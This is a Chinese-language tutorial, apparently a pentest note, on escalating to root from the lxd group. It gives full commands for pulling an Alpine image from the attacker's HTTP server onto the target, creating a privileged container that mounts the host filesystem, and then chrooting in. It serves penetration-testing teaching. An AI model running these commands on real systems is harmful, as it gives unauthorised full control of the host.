以普通用户进入目标机后,id,发现存在lxd组别,可使用一下提权方法
漏洞介绍
LXD是一个root进程,它负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会调用它的用户权限进行检查和匹配,本文就是讨论这种攻击方式。
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。
原理介绍
用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权。
操作
1.在本地机上下载lxd的镜像模板文件
https://github.com/saghul/lxd-alpine-builder.git
cd到其目录下,开启httpserver
python -m http.server 8080
2.在目标机上wget镜像模板
wget your_ip:8080/alpine-v3.12-x86_64-20200902_1515.tar.gz
在以镜像模板创建容器之前先初始化lxd比较好
不然可能没有存储池storage pool
lxd init
lxd初始化,一路回车默认回车就行
lxc image import alpine-v3.12-x86_64-20200902_1515.tar.gz --alias image_name
3.通过容器提权
lxc init image_name ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
即可成为root
执行chroot /mnt/root可获得root的全部权限
原理
lxd组用户可以以任意镜像创建容器,并将当前系统根目录挂载到已创建容器的mnt目录下,/mnt/root/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限。